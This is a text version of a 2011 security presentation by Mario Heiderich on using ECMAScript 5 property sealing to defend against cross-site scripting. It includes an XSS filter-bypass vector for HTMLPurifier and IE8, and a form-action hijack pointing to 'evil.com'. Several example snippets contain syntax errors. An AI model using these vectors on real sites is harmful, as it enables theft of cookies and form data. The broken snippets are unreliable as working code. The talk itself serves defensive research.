Locking the Throne Room

How ES5 might change views on XSS and Client Side Security

A presentation by Mario Heiderich, 2011

Introduction

- Mario Heiderich
  - Researcher and PhD student at the Ruhr-University, Bochum
  - Security Researcher for Microsoft, Redmond
  - Security Consultant for XING AG, Hamburg
  - Published author and international speaker
  - HTML5 Security Cheatsheet / H5SC
  - PHPIDS Project

Today's menu

- JavaScript and XSS
  - How it all began
  - A brief historical overview
- Cross Site Scripting today
  - Current mitigation approaches
  - A peek into the petri dishes of current development
- A different approach
  - ES5 and XSS
- Case study and discussion
- Future work

JavaScript History

- Developed by Brendan Eich as LiveScript
- JavaScript 1.0 published late 1995 by Netscape
- Microsoft developed the JScript dialect
- ECMA-262 1st Edition published in 1998
- JavaScript 1.5/JScript 5.5 in November 2000
- JavaScript 1.6 introducing E4X in late 2006
- JavaScript 1.8 in 2008
- JavaScript 1.8.5 in 2010, ECMA Script 5 compliance

JavaScript and XSS

- Cross Site Scripting
  - One site scripting another
  - Early vectors abusing Iframes
  - First published attacks in the late nineties
  - Three major variations
    - Reflected XSS
    - Persistent XSS
    - DOM based XSS / DOMXSS
  - Information theft and modification
  - Impersonation and leverage of more complex attacks

The DOM

- Document Object Model
  - Prototype based representation of HTML/XML trees
  - Interfaces for easy JavaScript access
  - Methods to read and manipulate DOM subtrees
  - Events to notice and process user interaction
  - Interaction with browser properties
  - Access to magic properties such as document location
  - Proprietary interfaces to
    - Crypto objects, browser components, style sheets, etc.

XSS today

- An ancient and simple yet unsolved problem
  - Complexity
  - Browser bugs
  - Insecure web applications
  - Browser plug-ins
  - *Impedance mismatches*
  - Application layer mitigation concepts
  - Risk assessment and ignorance
  - New features and spec drafts enabling 0-day attacks

Impedance mismatch

- Layer A is unaware of Layer B capabilities and flaws
  - Layer A deploys the attack
  - Layer B executes the exploit
- Case study:
  - HTMLPurifier 4.1.1
  - Server side HTML filter and XSS mitigation library
  - Internet Explorer 8, CSS expressions and a parser bug

  - ```
    <a style="background:url('/\'\,!@x:expression\(write\(1\)\)//\)!\'');"></a>
    ```
    ```

Mitigation History

- Server side
  - Native runtime functions, strip_tags(), htmlentities(), etc.
  - Runtime libraries and request validation
  - External libraries filtering input and output
    - HTMLPurifier, AntiSamy, kses, AntiXSS, SafeHTML
    - HTTPOnly cookies
  - Client side protection mechanisms
    - toStaticHTML() in IE8+ and NoScript
    - IE8+ XSS filter and Webkit XSS Auditor
    - Protective extensions such as NoScript, NotScripts
    - Upcoming approaches such as CSP

Further vectors

- Plug-in based XSS
  - Adobe Reader
  - Java applets
  - Flash player
  - Quicktime videos
  - SVG images
- Charset injection and content sniffing
  - UTF-7 XSS, EBCDIC, MacFarsi, XSS via images
  - Chameleon files, cross context scripting, local XSS
- DOMXSS

DOMXSS

- DOMXSS is transparent for the server
  - Vectors trigger without server interaction
  - Impossible to filter or detect for server side IDS/libraries
  - No appearance in server log files
- DOM objects execute code
  - Location object, HTML5 history vectors
  - Infected cookies, referrers and window.name
  - Self contained attack vectors via location and document.URI
  - HTTP Parameter Pollution – client side
  - Proprietary objects and methods
  - Form controls to overwrite global properties
  - SOP violations, malicious frames, evil frame-busters

Quintessence

- Server side filtering of client side attacks
  - Useful and stable for basic XSS protection
- Still not remotely sufficient
  - Affected by charsets, impedance mismatch
  - Subverted by browser bugs an parser errors
  - Rendered useless by DOMXSS
  - Bypassed via plug-in based XSS
  - Helpless against attacks deployed from different servers
  - **Not suitable for what XSS has become**

Revisiting XSS

- XSS attacks target the client
- XSS attacks are being executed client side
- XSS attacks aim for client side data and control
- XSS attacks impersonate the user
- XSS is a client side problem
  - Sometimes caused by server side vulnerabilities
  - Sometimes caused by a wide range of problems transparent for the server
- Still we try to improve server side XSS filters

Idea

- Prevention against XSS in the DOM
- Capability based security
- Inspired by HTTPOnly
  - Cookies cannot be read by scripts anymore
  - Why not changing document.cookie to do so
- JavaScript up to 1.8.5 enabled this
- Unfortunately Non-Standard
- Example →

__defineGetter__()

```
<script>
document.__defineGetter__('cookie', function(){
   alert('no cookie access!');
   return false;
});
</script>

…

<script>
   alert(document.cookie)
</script>
```

Problems

- Proprietary – not working in Internet Explorer
- Loud – an attacker can fingerprint that modification
- Not tamper resistant at all
  - JavaScript supplies a delete operator
  - Delete operations on DOM properties reset their state
  - Getter definitions can simply be overwritten
- Object getters - invalid for DOM protection purposes
- Same for setters and overwritten methods

Bypass

```
<script>
document.__defineGetter__('cookie', function(){
   alert('no cookie access!');
   return false;
});
</script>
…
<script>
   delete document.cookie;
   alert(document.cookie)
</script>
```

Tamper Resistance

- First attempts down the prototype chain
  - document.__proto__.__defineGetter__()
  - Document.prototype
  - Components.lookupMethod(document, 'cookie')
- Attempts to register delete event handlers
  - Getter and setter definitions for the prototypes
  - Setter protection for setters
  - Recursion problems
  - Interval based workarounds and race conditions
- JavaScript 1.8 unsuitable for DOM based XSS protection

ECMA Script 5

- Most current browsers use JavaScript based on ES3
  - Firefox 3
  - Internet Explorer 8
  - Opera 11
- Few modern ones already ship ES5 compliance
  - Google Chrome
  - Safari 5
  - Firefox 4
  - Internet Explorer 9

Object Extensions

- Many novelties in ECMA Script 5
- Relevance for client side XSS mitigation
  - Object extensions such as
    - Object.freeze()
    - Object.seal()
    - **Object.defineProperty() / Object.defineProperties()**
    - Object.preventExtensions()
  - Less relevant but still interesting
    - Proxy Objects
    - More meta-programming APIs
    - Combinations with DOM Level 3 events

({}).defineProperty()

- Object.defineProperty() and ..Properties()
- Three parameters
  - Parent object
  - Child object to define
  - Descriptor literal
- Descriptors allow to manipulate
  - Get / Set behavior
  - Value
  - “Enumerability”
  - “Writeability”
  - “Configurability”
- Example →

Example

```
<script>
Object.defineProperty(document, 'cookie', {
   get: function(){return:false},
   set: function(){return:false},
   configurable:false
});
</script>

…

<script>
   delete document.cookie;
   alert(document.cookie);
</script>
```

Access Logging

- Object.defineProperty() allows basic AOP
- Get and set access can be monitored
  - This enables logging
  - Method calls, property access
  - Differing reactions depending on accessors and parameters
  - Possible foundation for a client side IDS

configurable:false

- Setting "configurability" to *false* is final
  - The object description is stronger than *delete*
  - Prototype deletion has to effect
  - Re-definition is not possible
  - Proprietary access via Components.lookupMethod() does not deliver the native object either
- With this method call cookie access can be forbidden
  - By the developer
  - And by the attacker

Prohibition

- Forbidding access in general
  - Interesting to prevent cookie theft
  - Other properties can be blocked too
  - Methods can be forbidden
  - Methods can be changed completely
  - Horizontal log can be added to any call, access and event
  - That is for existing HTML elements too
  - Location properties can be treated as well
- Example →

Action Protection

```
<script>
var form = document.getElementById('form');
Object.defineProperty(form, 'action', {
   set: IDS_detectHijacking,
   get: IDS_detectStealing,
   configurable:false
});
</script>

…

<script>
   document.forms[0].action='//evil.com';
</script>
```

Roundup

- Access prohibition might be effective
- Value and argument logging helps detecting attacks
- Possible IDS solutions are not affected by heavy string obfuscation
- No impedance mismatches
  - Attacks are detected on they layer they target
  - Parser errors do not have effect here
  - No effective charset obfuscations
  - Immune against plug-in-deployed scripting attacks
  - Automatic quasi-normalization

Limitations

- Blacklisting approach
- Breaking existing own JavaScript applications
  - Forbidding access is often too restrictive
- Breaking third party JavaScript applications
  - Tracking scripts (Google Analytics, IVW, etc.)
  - Advertiser controlled scripts
- Small adaption rate, high testing effort
- No fine-grained or intelligent approach

Solutions

- No access prohibitions but RBAC via JavaScript
- Possible simplified protocol
  - Let *object A* know about permitted accessors
  - Let accessors of *object A* be checked by the getter/setter
  - Let *object A* react depending on access validity
  - Seal *object A*
  - Execute application logic
  - Strict policy based approach
- A shared secret between could strengthen the policy
- Example →

RBAC and IDS

```
<script>
Object.defineProperty(document, 'cookie', {
   set:RBAC_checkSetter(IDS_checkArguments()),
   get:RBAC_checkGetter(IDS_checkArguments())
   configurable:false
});

// identified via arguments.callee.caller
My.allowedMethod(document.cookie);
</script>

…

<script>
   alert(document.cookie)
</script>
```

Forced Introspection

- Existing properties can gain capabilities
  - The added setter will know:
    - Who attempts to set
    - What value is being used
  - The added getter will know:
    - Who attempts to get
  - An overwritten function will know:
    - How the original function looked like
    - Who calls the function
    - What arguments are being used
- IDS and RBAC are possible
- Tamper resistance thanks to *configurable:false*

Case Study

- Stanford JavaScript Crypto Library
- AES256, SHA256, HMAC and more in JavaScript
- „SJCL is secure“
- Not true from an XSS perspective
- Global variables
- Uses
  - Math.floor(), Math.max(), Math.random()
  - document.attachEvent(), native string methods etc.
  - Any of which can be attacker controlled
- High impact vulnerabilities ahead...

Hardening

- First level hardening
  - No global vars anymore
  - Usage of anonymous functions and closures
- Second level hardening
  - Using the discussed approach
  - Seal the internal objects
  - Wrap native methods
  - Apply role model authentication and IDS logic
- Apparently a high maintenance job

Easing Adaptation

- JS based IDS and RBAC is not easy to grasp
- Possible adaptation boosters include
  - Usage ready libraries
  - Well readable policy files (JSON)
  - GUI Tools for individual policies
    - Automated parsing of existing libraries and scripts
    - Security levels and developer compatible docs
- Community driven hardening and vendor adaptation
- Interfaces to server-side filter logic
- Spreading awareness for security sake!

ES5 Philosophy

- „With great power comes great responsibility“
- Sealing properties is very powerful
- First time there's no reset feature anymore
- What the defender can do, the attacker can as well
- Object.defineProperty() could lead to serious problems
  - Super-Powers for attackers
  - A whole new situation for advertisers
  - Rethinking website mash-ups
  - Subverting the Web 2.0 philosophy

Deployment

- Website owners should obey a new rule
- „The order of deployment is everything“
- As long as trusted content is being deployed first
  - Object.defineProperty() can protect
  - Sealing can be used for good
- The script deploying first controls the DOM
  - Persistent, tamper resistant and transparent
- Self-defense is possible
- Example →

!defineProperty()

```
<html>
<head>
<script>
…
Object.defineProperty(Object, 'defineProperty' {
   value:[],
   configurable:false
});
</script>

…

<script>
   Object.defineProperty(window,'secret', {
      get:stealInfo
   }); // TypeError
</script>
```

Conclusion

- ES5 changes client side security significantly
- Eradication of XSS versus sealing its targets
- Future work
  - Model implementations
  - Easy to use rule and policy generators
- Using ES5 to cover more security aspects
  - Malware detection and prevention (HoneyAgent, 2011)
  - Ad-Blocker
  - Client side NoScript without any domain trust flaws
  - Better XSS detection, Click-jacking prevention
- JavaScript based RBAC and IDS
- New risks and dangers for those lacking awareness

Future Work

- Address browser vendors about concerns and bugs
  - Double freezing, lack of ES5 support, peculiarities
- Create a model framework
- Interact with the Google Caja team
- Academic publications
- Spread awareness on ES5 and the attached implications
- Address the white-list/blacklist problem in a more methodological manner
  - W3C draft submission?

- Finally, *somehow* tell online advertisers in a charming way, what they have to expect soon...

Questions

- Thanks for your time!
- Discussion?

- Thanks for advice and contribution:
  - Gareth Heyes
  - Stefano Di Paola
  - Eduardo Vela
  - John Wilander and Mattias Bergling
  - Jonas Magazinius
  - Phung et al.
  - All unmentioned contributors